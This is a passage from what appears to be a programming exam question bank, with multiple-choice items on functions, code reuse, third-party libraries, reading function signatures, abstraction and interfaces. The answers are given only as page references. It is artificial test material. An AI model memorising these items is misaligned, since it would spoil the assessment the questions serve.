19   int off = discount(total)
20   receipt(total, off)
21
22 checkout()
```

What can the programmer most reasonably conclude from a run that displays `50`, `0`, and `50`?

A. The discount rules no longer need to be decided, since the program runs from beginning to end and produces a complete and consistent receipt with the current version.

B. The discount calculation is correct for a cart of this size, since `discount` received the correct total and the receipt displayed the value that it returned.

C. The program was developed from its smallest tested pieces upward, so no further planning of the remaining parts or the way in which they connect is needed.

D. The overall sequence of steps works and passes values correctly between its parts, while the discount calculation itself remains to be written and tested on its own.

Answer: page 985

0002.d.2.5

A student must write a program that converts a number such as `342` into the words “three hundred forty-two.” The student first writes and tests a function for the numbers 0 to 9, then writes and tests a function for 10 to 99 that calls the first function, and then plans to continue upward in the same way. A teacher reviewing this work wants to point out the main risk of working in this order. Which risk should the teacher most appropriately point out?

A. A program built in this order will run more slowly than one planned from the top, because the computer must carry out the functions in the order they were written.

B. Pieces finished early may turn out not to fit what the complete program needs, such as the form in which it must supply its numbers to the rest of the program.

C. Each function must repeat the code of the one below it, because a function written earlier cannot be called by a function that is written later in the project.

D. None of the functions can be tested until the final function has been written, so errors in the early functions will stay hidden until the very end of the project.

Answer: page 985

Functions and reuse

0002.d.3.1

A community theater gives `5` off any order of `50` or more. A volunteer's program totals the orders for three sessions. After a customer complained, the volunteer changed `>` to `>=` on line 15, but a customer in the evening session has now complained about the same problem.

```
01 /* morning session */
02 int[] morning = [12, 30, 25]
03 int sum1 = 0
04 for (int i = 0; i < morning.size[1]; i = i + 1)
05   sum1 = sum1 + morning[i]
06 if (sum1 > 50)
07   sum1 = sum1 - 5
08 output(sum1)
09
10 /* afternoon session */
11 int[] afternoon = [18, 40]
12 int sum2 = 0
13 for (int i = 0; i < afternoon.size[1]; i = i + 1)
14   sum2 = sum2 + afternoon[i]
15 if (sum2 >= 50)
16   sum2 = sum2 - 5
17 output(sum2)
18
19 /* evening session */
20 int[] evening = [25, 25]
21 int sum3 = 0
22 for (int i = 0; i < evening.size[1]; i = i + 1)
23   sum3 = sum3 + evening[i]
24 if (sum3 > 50)
25   sum3 = sum3 - 5
26 output(sum3)
```

Which change most directly addresses the cause of this kind of error, so that a future correction to the discount rule cannot be missed in the same way?

A. combining the three arrays into one array and calculating one total for the day, so that the discount needs to be applied in only one place

B. writing one function that takes an array of prices and returns the adjusted total, and calling it once for each of the three sessions of the day

C. correcting the two remaining comparisons and placing a comment beside each of the three copies that reminds future editors to update the other two copies

D. declaring a variable `threshold` with the value `50` at the top of the program, so that every copy of the comparison reads the amount from one place

Answer: page 985

0002.d.3.2

A greenhouse program must force each sensor reading into the range `0` to `100` before storing it, and the same rule will later apply to other sensors with other ranges. The student who wrote the loop below still needs a function to place on lines 01-07. The program should display the output shown.

```
01 /* execute selected code beginning here */
02
03
04
05
06
07
08 int[] readings = [104, -3, 57]
09 int[] safe = [0, 0, 0]
10 for (int i = 0; i < readings.size[1]; i = i + 1)
11   safe[i] = limit(readings[i], 0, 100)
12 output(safe[0])
13 output(safe[1])
14 output(safe[2])
```

```
>>> 100
>>> 0
>>> 57
```

Which function, placed on lines 01-07, completes the program as required and can be reused for the other sensors?

A.

```
function limit(int v, int low, int high)
  if (v < low)
    return low
  elseif (v > high)
    return high
  return v
```

B.

```
function limit(int v, int low, int high)
  if (v < low)
    v = low
  elseif (v > high)
    v = high
  output(v)
```

C.

```
function limit(int v, int low, int high)
  if (readings[0] < low)
    return low
  elseif (readings[0] > high)
    return high
```

```
    return readings[0]
```

D.

```
function limit(int v)
  if (v < 0)
    return 0
  elseif (v > 100)
    return 100
  return v
```

Answer: page 985

0002.d.3.3

A campus store's pricing program takes 10 percent off a price tag each time an item is marked down. The function below performs one markdown. An item priced at `50` has been marked down once, and an item priced at `100` has been marked down twice.

```
01 function markdown(int price)
02   return price - price / 10
03
04 output(markdown(50) + markdown(markdown(100)))
```

Which output would the program produce?

A. `>>> 81`

B. `>>> 126`

C. `>>> 135`

D. `>>> 150`

Answer: page 985

0002.d.3.4

A school district's grade-report software calculates a weighted average in eleven places, with the same statements copied into each place. A developer proposes moving the calculation into one named function that is called from all eleven places. A manager approves the proposal and tells the staff that the district will see reports generated faster as a result. Which statement most accurately evaluates the manager's reasoning?

A. The reasoning is correct, since a function saves the result of its first call and supplies that stored result at each later call instead of recalculating.

B. The reasoning is correct, since replacing eleven copies with one means that the computer performs fewer multiplications when it generates each of the reports.

C. The reasoning is wrong and the proposal should be dropped, since the time spent on calling a function outweighs any benefit that could come from removing the copies.

D. The proposal is sound, but its dependable gain is that a correction need be made only once, whereas running time may not improve, as the same work is done.

Answer: page 985

0002.d.3.5

A recreation center's program sets ticket prices and voter-registration reminders by age. The center's rule changes so that people who are exactly 18 now count as adults, and a programmer therefore changes line 02 from `return age > 18` to the version shown below, without changing any other line.

```
01 function is_adult(int age)
02   return age >= 18
03
04 function ticket(int age)
05   if (is_adult(age))
06     return 12
07   return 7
08
09 function can_register(int age)
10   return is_adult(age)
11
12 output(ticket(18))
13 output(can_register(18))
14 output(ticket(40))
```

Which output would the program now produce?

A.

```
>>> 7
>>> FALSE
>>> 12
```

B.

```
>>> 12
>>> TRUE
>>> 12
```

C.

```
>>> 12
>>> FALSE
>>> 12
```

D.

```
>>> 7
>>> TRUE
>>> 12
```

Answer: page 986

Using third-party code

0002.d.4.1

A student's event-calendar program uses a date library. The program ran correctly for a year, until a routine update installed version 2 of the library. The documentation for version 1 stated that `to_parts()` returned month, day, and year, in that order, and the documentation for version 2 is summarized on line 01. The event's date has not changed, and the program should display "event today."

```
01 /* dates, version 2: to_parts(String text) returns an int[] of year, month, day */
02 int[] parts = to_parts("2026-03-14")
03 int month = parts[0]
04 int day = parts[1]
05 if (month == 3 AND day == 14)
06   output("event today")
07 else
08   output("no event")
```

The program now displays "no event," and no line of the student's code has changed. What does this situation most directly illustrate?

A. The program contains a syntax error that the update exposed, since a program that compiled correctly once cannot otherwise begin to fail by itself.

B. The library's authors were obliged to keep the order of the values, so the fault is theirs and no change to the student's program would be appropriate.

C. Libraries are less reliable than code that a student writes independently, so date handling ought to have been written from the start without one.

D. Code that a project does not control can change, so a project needs to test its program against each library update that it adopts before release.

Answer: page 986

0002.d.4.2

A student's scheduling app contains the function below, which the student wrote to find the number of days in February. Date libraries report that the year 2100 is not a leap year, because century years are leap years only when divisible by 400.

```
01 function days_in_feb(int year)
02   if (year % 4 == 0)
03     return 29
04   return 28
05 output(days_in_feb(2100))
```

The student's app must handle dates over a long span of years, as well as time zones and several calendar formats. Which conclusion is most appropriate for the student to draw?

A. A library would make the program's own testing unnecessary, since its authors have already confirmed that every program that calls it behaves as intended.

B. The student should correct this one rule and continue writing all date handling alone, since a project that adds a library takes on unacceptable security problems.

C. The student's function is acceptable as written, since a function that returns correct results for the years that the student tested has been shown to be correct.

D. A well-maintained date library is likely to be the better choice, since such details are hard to get right and others have already handled and tested them.

Answer: page 986

0002.d.4.3

A student team is about to add PDF export to a free attendance app. The team finds a package that performs PDF export and also handles spreadsheets, e-mail, and charts, none of which the app needs. Its license permits the intended use, but its last release was six years ago and several security reports remain unanswered. Which statement best identifies the strongest reason for the team to look for a different package?

A. The app would be required to use the spreadsheet, e-mail, and chart features as well, since a package must be used in full once it is installed in a project.

B. The app would take on much code that it does not need from a project that no one appears to be maintaining, so newly found flaws may stay unfixed indefinitely.

C. The app would lose its right to remain free of charge, since a package with an old release date passes automatically into the ownership of the project using it.

D. The app would run noticeably slower than it does today, since any program that includes third-party code must run through that code before its own code runs.

Answer: page 986

0002.d.4.4

A team's web application relies on a small package whose only purpose is to add spaces to the left of a line of text. The package's author withdraws it from the public registry, and the team's next build fails, as do the builds of thousands of other projects. At the team's review of the incident, members offer different lessons for future projects. Which lesson is best supported by this incident?

A. Each dependency carries risk from outside the team, so one that saves only a few lines of simple code may not be worth adding for so small a saving of effort.

B. The withdrawn package must have been of poor quality, since authors withdraw packages when flaws are discovered, and therefore code review would have prevented this.

C. The team should keep adding as many small packages as it can, since dividing its dependencies among many authors lowers the risk from any one of them.

D. Third-party code ought to be avoided altogether in applications with outside users, since no package can be counted on to remain available to a project.

Answer: page 986

0002.d.4.5

A small company builds a mobile app that it sells to schools. A developer adds a charting library found on a public code-hosting site. The app passes all of its tests. Shortly before release, a reviewer reads the library's license, which allows free use for noncommercial purposes only. Which statement best describes the company's position?

A. The company may proceed, since the app only calls the library's functions and does not copy them, and license terms apply to copying a library's source code.

B. The company may proceed if it names the library's author in the app's documentation, since giving credit to an author satisfies the terms of any software license.

C. The company needs other terms from the author or a different library, since working code and public availability do not grant the right to use it this way.

D. The company may proceed, since code posted publicly without a fee has passed into the public domain and is free of any conditions set by its author.

Answer: page 986

Reading a function signature

0002.d.5.1

A coach uses a statistics library written by someone else, and has only the documentation shown on lines 01-02. The coach's program finds the two best times recorded for a relay team, where a higher value in this event is better.

```
01 /* top(int[] values, int n) returns a new int[] holding the n largest values, largest
↪  first. */
02 /* The array passed as values is not changed. */
03 int[] marks = [70, 95, 80]
04 int[] best = top(marks, 2)
05 output(best[0])
06 output(best[1])
07 output(marks[0])
```

Based only on the documentation, which output should the coach expect?

A.

```
>>> 70
>>> 95
>>> 70
```

B.

```
>>> 80
>>> 95
>>> 70
```

C.

```
>>> 95
>>> 80
>>> 95
```

D.

```
>>> 95
>>> 80
>>> 70
```

Answer: page 986

0002.d.5.2

A student building a travel-budget page finds the line of documentation shown on line 01, and writes the rest of the program from it. The student's call has the right number of arguments, and their types match. The other pages of the library's documentation are unavailable to the student at the moment.

```
01 /* convert(float amount, String from, String to) returns a float */
02 float cost = 40.0
03 float result = convert(cost, "USD", "EUR")
04 output(result)
```

Which further information does the student most need in order to use this function correctly?

A. what the function is documented to do and return, including the text values it accepts for `from` and `to` and what happens when it receives one it does not recognize

B. whether the function performs its work with a loop or with a table of stored values, since a caller must write the call differently for each of these two designs

C. the sequence of arithmetic operations inside the function, so that the student can determine whether the same conversion could have been written in fewer statements

D. the names of the local variables declared inside the function, so that the variable holding the student's amount can be given the same name as the function's variable

Answer: page 986

0002.d.5.3

A school's bell-schedule program uses a time library that another programmer wrote. The student writing the program has read the documentation on lines 01-02 but has not seen the library's code. The function `end_time` must return the time at which a class ends, given the time at which it starts and its length in minutes.

```
01 /* to_minutes(String time) returns an int: the minutes after midnight for a time such as
 ↪  "09:30". */
02 /* to_time(int minutes) returns a String: the time, such as "09:30", for a number of
 ↪  minutes after midnight. */
03
04 function end_time(String start, int length)
05   /* execute selected code beginning here */
06
07
08 output(end_time("09:30", 45))
```

```
>>> "10:15"
```

Which statements, placed on lines 05-07, complete `end_time` so that it produces the output shown?

A.

```
String m = to_time(start)
return concat(m, length)
```

B.

```
int m = to_minutes(start)
return m + length
```

C.

```
String a = to_minutes(start)
String b = to_time(length)
return concat(a, b)
```

D.

```
int m = to_minutes(start)
return to_time(m + length)
```

Answer: page 986

0002.d.5.4

A theater's program stores whether each seat in a row is open. A student uses `first_open`, a function written by a classmate and documented on lines 01-02, to find a seat for a customer who prefers to sit at index 2 or later. When the program runs, it ends with an error.

```
01 /* first_open(bool[] seats, int start) returns the index of the first TRUE value */
02 /* at or after index start, or -1 if there is no such value. */
03 function first_open(bool[] seats, int start)
04   for (int i = start; i < seats.size[1]; i = i + 1)
05     if (seats[i])
06       return i
07   return -1
08
09 bool[] row = [TRUE, TRUE, FALSE, FALSE]
10 String[] guests = ["Ana", "Ben", "Cho", "Dee"]
11 int spot = first_open(row, 2)
12 row[spot] = FALSE
13 output(guests[spot])
```

Which statement best describes the cause of the error?

A. The loop in `first_open` should begin at index `0` rather than `start`, because a search of an array must always examine each of its elements.

B. The function should have output `-1` rather than returning it, since a function that returns a negative value causes an error at its `return` statement.

C. The function cannot accept an array of `bool` values, since a function's array parameters must be `int` or `String`, and so the call itself fails.

D. The caller uses the returned value as an index into the array without allowing for the documented result of `-1` that means no seat was found.

Answer: page 986

0002.d.5.5

A student timing a cross-country team uses a library function documented on line 01, and writes the program below. The student expected the fastest time, `38`, but the program displays `41`.

```
01 /* sorted_copy(int[] v) returns a new int[] with the values of v in ascending order; v is
↪  not changed. */
02 int[] times = [41, 38, 44]
03 sorted_copy(times)
04 output(times[0])
```

Which statement best explains the output?

A. The library contains a defect, since a function with the word "sorted" in its name is required to reorder the array that a caller passes to it.

B. The array was sorted, but `times[0]` retrieves the value first assigned at that position, since index access is fixed when an array is declared.

C. The array that the function returns is never stored, so the call has no effect, and `times` keeps its original order, just as the documentation states.

D. The call needs a second argument stating the direction of the sort, and without that argument the function returns immediately and does nothing to the data.

Answer: page 986

Functions with one responsibility

0002.d.6.1

A sales program for a student-run store contains the function below. The store's manager wants to reuse the bonus calculation in a separate payroll program, and a teacher wants to write an automatic test that compares the bonus for a given week to a value calculated by hand. Neither can be done easily.

```
01 function report(int[] sales, String name)
02   int total = 0
03   int best = sales[0]
04   for (int i = 0; i < sales.size[1]; i = i + 1)
05     total = total + sales[i]
06     if (sales[i] > best)
07       best = sales[i]
08   int bonus = 0
09   if (total > 100)
10     bonus = total / 10
11   output(concat(name, " sold:"))
12   output(total)
13   output(best)
14   output(bonus)
15
16 int[] week = [40, 35, 55]
17 report(week, "Sam")
18
19 int[] next = [10, 20, 30]
20 report(next, "Kim")
```

Which change would best address both problems?

A. adding a parameter `bool show` to `report`, so that the function displays its report only when `show` is `TRUE` and otherwise runs silently without returning anything

B. one function that returns the total, another that returns the bonus for a given total amount, and a separate function that displays the report, each testable alone

C. moving all of the statements in `report` directly into the main program, so that the payroll program and the test can read the variables `total` and `bonus` directly

D. renaming `report` to `total_best_bonus_and_print`, so that anyone who reads a call to the function can tell at once all of the work that the function performs

Answer: page 986

0002.d.6.2

A school library's program uses the function below, which a student added to decide whether any book on a patron's account has been out for more than 14 days. The library sends a notice for an overdue book and then, separately, charges a fee, so each patron with an overdue book should receive both. The library's staff finds that no one is ever charged a fee.

```
01 function has_overdue(int[] days)
02   bool found = FALSE
03   for (int i = 0; i < days.size[1]; i = i + 1)
04     if (days[i] > 14)
05       found = TRUE
06       days[i] = 0
07   return found
08
09 int[] loans = [3, 20, 9]
10 if (has_overdue(loans))
11   output("send notice")
12 if (has_overdue(loans))
13   output("charge fee")
14 output(loans[1])
```

Which statement best identifies the design problem that produces this behavior?

A. The loop stops at the first overdue book that it finds, so a patron with only one overdue book is detected by the first call and passed over by the second.

B. A function whose name suggests only a check also alters the data, so the second call receives an account that no longer shows the overdue book it found.

C. The function is called twice in the same program, and a function that receives an array can be called only once before the array must be declared again.

D. The function returns a `bool` value, which an `if` statement can use only once, so a later `if` statement in the program always treats the value as `FALSE`.

Answer: page 986

0002.d.6.3

A teacher reviewing a student's invoice program finds a function called `compute_tax_and_format_and_print_invoi` The student reports that testing the tax calculation requires setting up an invoice and reading printed pages, and that a second program that needs only the tax has had to copy part of the function. Which feedback from the teacher would be most useful?

A. The name should be shortened to `tax_invoice`, because the difficulty of testing and reusing a function is caused mainly by the length of its name.

B. The name itself shows that the function has several jobs, which should likely become separate functions that can be tested and reused individually.

C. The second program should call the whole function and ignore the invoice that it prints, since this way the tax logic has to exist in only one place.

D. The function should be rewritten with recursion in place of its loops, since recursive functions need no test data and can be called from any other program.

Answer: page 987

0002.d.6.4

A student's grading function currently determines a letter for a score, displays that letter, and adds it to a log kept by the program. A second program now needs the letters in order to count them, and it has no use for the display or the log. The student decides to rewrite the function, placed on lines 01-07 below. Scores of at least `90` earn "A," scores of at least `70` earn "B," and all other scores earn "C."

```
01 /* execute selected code beginning here */
02
03
04
05
06
07
08 int[] scores = [91, 78]
09 for (int i = 0; i < scores.size[1]; i = i + 1)
10   String mark = letter(scores[i])
11   output(mark)
12 output(letter(60))
```

Which version of the function best suits this situation and allows this code to display `"A"`, `"B"`, and `"C"`?

A.

```
function letter(int score)
  if (score >= 90)
    return "A"
  elseif (score >= 70)
    return "B"
  return "C"
```

B.

```
function letter(int score)
  if (score >= 90)
    output("A")
  elseif (score >= 70)
```

```
    output("B")
  else
    output("C")
```

C.

```
function letter(int[] all)
  for (int i = 0; i < all.size[1]; i = i + 1)
    if (all[i] >= 90)
      return "A"
    return "B"
  return "C"
```

D.

```
function letter(int score)
  String m = "C"
  if (score >= 70)
    m = "B"
  if (score >= 90)
    m = "A"
  output(m)
  return m
```

Answer: page 987

0002.d.6.5

A password check is shared by a school's kiosk, which shows messages on a screen, and by its website, which must send results to a page without displaying anything from the check itself. Web staff report that the phrase "Too short" appears in their server's log for every short password.

```
01 function long_enough(String p)
02   if (p.len < 8)
03     output("Too short")
04     return FALSE
05   return TRUE
06 String attempt = "cat"
07 output(long_enough(attempt))
```

Which change best resolves this situation?

A. moving the `output` statement to a position after the `if` statement, so that the phrase is displayed later in the function and appears only after the password's length has been checked

B. having the function only return `TRUE` or `FALSE`, and letting each caller decide whether and how to show a message to its own users

C. replacing the `output` statement with a `return` of the phrase "Too short," so that the function returns that text for short passwords and `TRUE` for all other passwords

D. adding a second copy of the function for the website with the `output` statement removed, leaving the kiosk copy in place

Answer: page 987

Parameters and return values

0002.d.7.1

A loyalty program awards bonus points through the function below. A student wrote the code to see how a value passed to a function behaves when the function changes it.

```
01 function add_bonus(int points)
02   points = points + 5
03   return points
04
05 int balance = 20
06 add_bonus(balance)
07 output(balance)
08 balance = add_bonus(balance)
09 output(balance)
```

Which output would the program produce?

A.

```
>>> 20
>>> 25
```

B.

```
>>> 25
>>> 25
```

C.

```
>>> 25
>>> 30
```

D.

```
>>> 20
>>> 20
```

Answer: page 987

0002.d.7.2

A credit union's program displays interest for each account. A student adds `test_interest` at the end of the program to confirm that an account of `200` earns `10` at the standard rate of 5 percent. The test displays "pass" when run alone, but "fail" when run after the rest of the program, in which the rate is lowered on line 18 for a promotional report.

```
int rate = 5

function interest(int balance)
  return balance * rate / 100

function yearly_report(int[] balances)
  for (int i = 0; i < balances.size[1]; i = i + 1)
    output(interest(balances[i]))

function test_interest()
  if (interest(200) == 10)
    output("pass")
  else
    output("fail")

int[] accounts = [100, 400]
yearly_report(accounts)
rate = 2
yearly_report(accounts)
test_interest()
```

Which change best addresses the design weakness that this behavior reveals?

A. having `interest` display its result rather than return it, so that a person who reads the output can compare the result with the expected value of `10`

B. adding the declaration `int rate = 5` as the first statement of `test_interest`, so that the test has its own copy of the rate while it is running

C. giving `interest` a second parameter for the rate, so that each caller, including the test, states the rate that it intends to use, rather than sharing one

D. moving the call to `test_interest` to a position before the assignment that changes `rate`, so that the test always finds the standard rate already in place

Answer: page 987

0002.d.7.3

A climate club's program counts the days in one city on which the temperature exceeded a limit. The club now wants the same count for a second city, with its own temperatures and its own limit, and also wants to be able to test the function on small sets of sample temperatures.

```
int[] temps = [71, 88, 93]
int limit = 85

function count_hot()
  int n = 0
  for (int i = 0; i < temps.size[1]; i = i + 1)
    if (temps[i] > limit)
```

```
08       n = n + 1
09   return n
10
11 output(count_hot())
```

Which revision of `count_hot` best suits these needs?

A. moving the declarations of `temps` and `limit` to the top of the body of `count_hot`, so that all of the data that the function uses is located inside the function

B. leaving `count_hot` as written and assigning the second city's data to `temps` and `limit` immediately before each call, then restoring the first city's data afterward

C. creating a function `count_hot2` that has the same statements as `count_hot` but reads from new variables called `temps2` and `limit2` declared for the second city

D. changing its header to `count_hot(int[] v, int cutoff)`, using `v` and `cutoff` in its body, and passing each city's values as arguments in the call made for that city

Answer: page 987

0002.d.7.4

A student's program must calculate shipping charges for two parcels and display only their combined charge, `24`. As written, the program displays `10` and `14` and then ends with an error when it reaches line 07.

```
01 function shipping(int weight)
02   int cost = 4 + weight * 2
03   output(cost)
04
05 int a = shipping(3)
06 int b = shipping(5)
07 output(a + b)
```

Which statement, placed on line 03 in place of the current statement, corrects the program?

A. `return cost`

B. `output(cost + cost)`

C. `a = cost`

D. `int shipping = cost`

Answer: page 987

0002.d.7.5

A school store's program, shown below, keeps a shopping cart for a customer at a checkout kiosk. The store now plans to install a second kiosk, and two customers will be able to fill their carts at

the same time, adding items in any order. When the program is tried on two carts, the second customer's total also includes the first customer's items.

```
01 int[] cart = []
02
03 function add_item(int price)
04   cart.append(price)
05
06 function cart_total()
07   int sum = 0
08   for (int i = 0; i < cart.size[1]; i = i + 1)
09     sum = sum + cart[i]
10   return sum
11
12 /* first customer */
13 add_item(12)
14 add_item(8)
15 output(cart_total())
16
17 /* second customer */
18 add_item(30)
19 output(cart_total())
```

Which redesign best allows the two kiosks to operate as the store intends?

A. returning the value of `sum` to a second global variable named `last_total`, so that the program has a record of each total before the next customer begins to add items

B. emptying the global `cart` at the beginning of each new customer's turn, so that the items that one customer added can no longer be included in another total

C. moving the `for` loop out of `cart_total` and into the main program, so that the running sum is calculated in the same place where each kiosk's items are added

D. passing the customer's cart array to both `add_item` and `cart_total` as a parameter, with each kiosk keeping its own array, so that totals no longer mix customers

Answer: page 987

0002.e Abstraction

Read about this in the content summary: 0002.e, page 59.

Abstraction

0002.e.1.1

A student writes the functions below for a program that draws boxes as lines of text. A classmate who needs a box in another program reads only one sentence about `box`, which says that it takes a

width and a height and draws an outlined box of that size. The classmate then writes `box(9, 4)` and gets the correct picture on the first try.

```
01 function repeat(String symbol, int n)
02   String line = ""
03   for (int i = 0; i < n; i = i + 1)
04     line = concat(line, symbol)
05   return line
06
07 function edge(int width)
08   output(repeat("#", width))
09
10 function middle(int width)
11   output(concat("#", repeat(".", width - 2), "#"))
12
13 function box(int width, int height)
14   edge(width)
15   for (int r = 0; r < height - 2; r = r + 1)
16     middle(width)
17   edge(width)
18
19 box(5, 3)
20 box(3, 3)
```

Which statement best explains why the classmate could use `box` so easily?

A. Each function calls another function, and this chain of calls is a form of recursion, which solves a problem by repeating it on smaller inputs.

B. The statements inside a function are locked, so the classmate cannot read or alter them by accident.

C. The functions make the whole program shorter than a single block would be, and shorter programs take less effort for a classmate to read through.

D. A name and two values stand in for the loops and string building, which the classmate need not consider.

Answer: page 987

0002.e.1.2

A student has used the operation below in several programs and it has always behaved as described in the reference sheet: it returns the row and column of the first match. The student has never seen the steps that carry out `.search` and does not know whether it examines the array from the front, from the back, or in some other way.

```
01 String[] roster = ["Ana", "Ben", "Kim"]
02 int[] spot = roster.search("Kim")
03 output(spot[1])
```

A classmate argues that the student cannot really be using `.search` properly without knowing these steps. Which response best answers the classmate?

A. The classmate is correct, and the student should first write an equivalent loop by hand, as an operation cannot be relied on until it has been traced.

B. The operation has no internal steps here, since a three-name array is read by the computer in one action.

C. The student does know the steps in effect, since any array operation must examine values from the front, as the output of this program confirms.

D. What the operation takes and returns is sufficient for using it, since its internal steps are hidden behind that description.

Answer: page 987

0002.e.1.3

A teacher compares an elevator to a concept from programming. A rider presses the button for a floor and arrives there, and does not need to know about the motor, the counterweight, or the software that schedules the car. Which part of programming does this comparison most directly help to explain?

A. creating many objects from one class, as a building has several elevators that share a single design

B. breaking a large task into smaller tasks, as an elevator is built from a motor, a car, cables, and controls

C. writing a loop that keeps repeating its body until the condition that controls it has become false

D. calling a function by its name and arguments, without tracing the statements that the function carries out

Answer: page 987

0002.e.1.4

A web developer's page loads weather data by calling one function and giving it a web address. The developer has never considered how the data is split into packets, addressed, or resent when a packet is lost. A colleague concludes that, for this page, those steps no longer take place. Which statement best evaluates the colleague's conclusion?

A. The conclusion is wrong, since those steps are copied into the developer's code when the page runs, and the developer's code then carries them out.

B. The conclusion is correct, since a function that loads data opens a direct wire to the server for that request.

C. The conclusion is wrong, since those steps still occur, but they are hidden below the function that the developer calls.

D. The conclusion is correct for small files only, since steps such as addressing packets are needed only when the data is too large for one transfer.

Answer: page 987

0002.e.1.5

A student has written the function below, and all of the student's teammates will use it to find the largest value in an array. In code reviews, teammates keep making errors in their calls, because each call must supply the correct starting index and starting value for the search to work. The student wants teammates to be able to find the largest value without knowing how the search proceeds.

```
01 function scan(int[] v, int i, int best)
02   for (int k = i; k < v.size[1]; k = k + 1)
03     if (v[k] > best)
04       best = v[k]
05   return best
06
07 int[] data = [4, 9, 2]
08 output(scan(data, 1, data[0]))
```

Which change would most directly meet this goal?

A. renaming `i` and `best` as `start_index` and `best_so_far`, so that the purpose of each argument can be recognized in the function's header

B. adding `largest(int[] v)`, which supplies the starting values itself by calling `scan`, so that teammates pass only the array

C. adding a longer comment above `scan`, which explains the values that teammates must pass for `i` and `best` in each call

D. moving `scan` to a separate file that teammates do not open, so that they will not see how the loop inside the function works

Answer: page 988

Managing complexity

0002.e.2.1

A software company builds an operating system with 60 engineers, and the source code is far too large for one person to read in full. Each engineer works on one component and relies on what the neighboring components are documented to do, without reading their internal code. Which statement best explains why this way of working makes the project feasible?

A. Each engineer can reason about one level of the system at a time, relying on what the neighboring components promise.

B. Each engineer can stop communicating with others on the team, because components that are documented have no remaining need for any coordination.

C. Each engineer is working on a component small enough that errors cannot pass from the component to another part of the system through its documented boundary.

D. Each component's details have been removed from the system, so the finished system contains less code.

Answer: page 988

0002.e.2.2

A new member of a student team must add a coupon step to the team's checkout program. The new member reads the `checkout` function, inserts a call to an existing function called `apply_coupon` after line 18, and confirms that the program still works. The new member did not read the bodies of `tax_on`, `sum_of`, or `receipt`.

```
01 function sum_of(int[] v)
02   int total = 0
03   for (int i = 0; i < v.size[1]; i = i + 1)
04     total = total + v[i]
05   return total
06
07 function tax_on(int amount)
08   return amount * 8 / 100
09
10 function receipt(int due)
11   output(due)
12
13 function apply_coupon(int amount)
14   return amount - 5
15
16 function checkout(int[] cart)
17   int subtotal = sum_of(cart)
18   subtotal = apply_coupon(subtotal)
19   int due = subtotal + tax_on(subtotal)
20   receipt(due)
21
22 int[] items = [40, 15, 50]
23 checkout(items)
```

Which statement best describes how the new member managed the complexity of this program?

A. The new member worked at the level of `checkout`, treating each function as a step and leaving its details for later if a problem appeared.

B. The new member overlooked a required step, since a change is safe only when a programmer has read all of a program's functions from the first line.

C. The new member relied on the program's small size, since working at one level suits only short programs.

D. The new member removed the details of the other functions from the program for the time being, so that they would not run during the confirmation.

Answer: page 988

0002.e.2.3

A university's library software uses the function below to check whether a name appears on a list. The function is well named, and the programmers who call it never read its body. The report at the end of the program runs instantly with a list of 200 names, but it takes hours when both lists are replaced with lists of several hundred thousand names.

```
01 function contains(String[] list, String name)
02   for (int i = 0; i < list.size[1]; i = i + 1)
03     if (list[i] == name)
04       return TRUE
05   return FALSE
06
07 String[] members = ["Ana", "Ben", "Kim"]
08 String[] visitors = ["Kim", "Sam"]
09 int count = 0
10 for (int v = 0; v < visitors.size[1]; v = v + 1)
11   if (contains(members, visitors[v]))
12     count = count + 1
13 output(count)
```

A programmer says that functions like `contains` must have been a mistake, since details are supposed to be hidden. Which statement best evaluates the programmer's claim?

A. The claim goes too far, since hidden details never have any effect on a program's behavior, so the slow report must have some cause outside of `contains`.

B. The claim is correct, since the slow report shows that `contains` gives wrong answers on large lists.

C. The claim goes too far: hiding details remains useful, but a hidden detail, such as a repeated scan, can still affect the program.

D. The claim is correct, since a function with hidden steps cannot be used with large inputs, and each call should therefore be written out in the main program.

Answer: page 988

0002.e.2.4

A school's 5,000-line attendance program has grown over many years. All of its statements read and change the same set of global variables, and any change to one feature breaks something in a seemingly unrelated feature. New staff say that they must understand the entire program before changing a single line. Which improvement would most directly address what the staff are reporting?

A. combining all of the code into one function called `main`, so that staff can find any statement or variable by reading through a single location

B. translating the program into a newer programming language with the same overall structure, so that it benefits from the features of a modern language

C. organizing the code into functions with stated inputs and outputs, so that staff can work on one part while relying on what the others promise

D. moving all global variable declarations to the top of the file, with a comment listing where each is used

Answer: page 988

0002.e.2.5

A student divides a sensor program into the three functions below, expecting that each can now be understood by itself. When a classmate asks the student what `scale` does, however, the student finds that an answer requires looking at the other two functions, and at the order of the calls on lines 15-17.

```
01 int[] state = [0, 0, 0]
02
03 function load()
04   state[0] = 120
05   state[1] = 3
06
07 function scale()
08   state[2] = state[0] / state[1]
09   state[0] = 0
10
11 function report()
12   output(state[2])
13   output(state[0])
14
15 load()
16 scale()
17 report()
```

Which statement best explains why the division has not made the program easier to reason about?

A. The array `state` uses numbered positions rather than a map with named keys, and replacing it with a map would give each function its own independent data.

B. The functions all read and change one shared array, so none of them can be understood from its own lines and a stated interface.

C. There are too few functions, and dividing the work into a greater number of smaller functions would allow each one to be understood in the same way as before.

D. The functions are each called only once, and a function's boundaries help only when it is called many times.

Answer: page 988

Interface and implementation

0002.e.3.1

A team maintains the function below. It is documented on line 01, and many programs call it, including the short program at the end of the listing. A teammate plans to replace the body of the function, on lines 03-07, with a new set of statements, and no calling program is to be edited.

```
01 /* count_at_least(int[] v, int cutoff) returns the number of values in v that are at
↪  least cutoff; v is not changed. */
02 function count_at_least(int[] v, int cutoff)
03   int n = 0
04   for (int i = 0; i < v.size[1]; i = i + 1)
05     if (v[i] >= cutoff)
06       n = n + 1
07   return n
08
09 int[] ages = [12, 17, 30]
10 output(count_at_least(ages, 17))
11 output(ages[0])
12 output(ages.size[1])
```

Which replacement can be substituted without affecting any calling program?

A.

```
int n = 0
for (int i = 0; i < v.size[1]; i = i + 1)
  if (v[i] > cutoff)
    n = n + 1
return n
```

B.

```
int[] kept = []
for (int i = 0; i < v.size[1]; i = i + 1)
  if (v[i] >= cutoff)
    kept.append(v[i])
return kept
```

C.

```
int i = 0
while (i < v.size[1])
  if (v[i] < cutoff)
    v.del(i)
  else
    i = i + 1
return v.size[1]
```

D.

```
int n = v.size[1]
for (int i = 0; i < v.size[1]; i = i + 1)
  if (v[i] < cutoff)
    n = n - 1
return n
```

Answer: page 988

0002.e.3.2

A student's graphing program uses the library function below, documented on lines 01-02. The student notices that it has always returned the first position of the largest value, and the program depends on this behavior when values are tied. After the library's authors change how the function searches the array, the program begins to mark the wrong point on the graph.

```
01 /* peak(int[] v) returns an index of v at which the largest value occurs. */
02 /* If the largest value occurs more than once, any such index may be returned. */
03 function peak(int[] v)
04   int at = 0
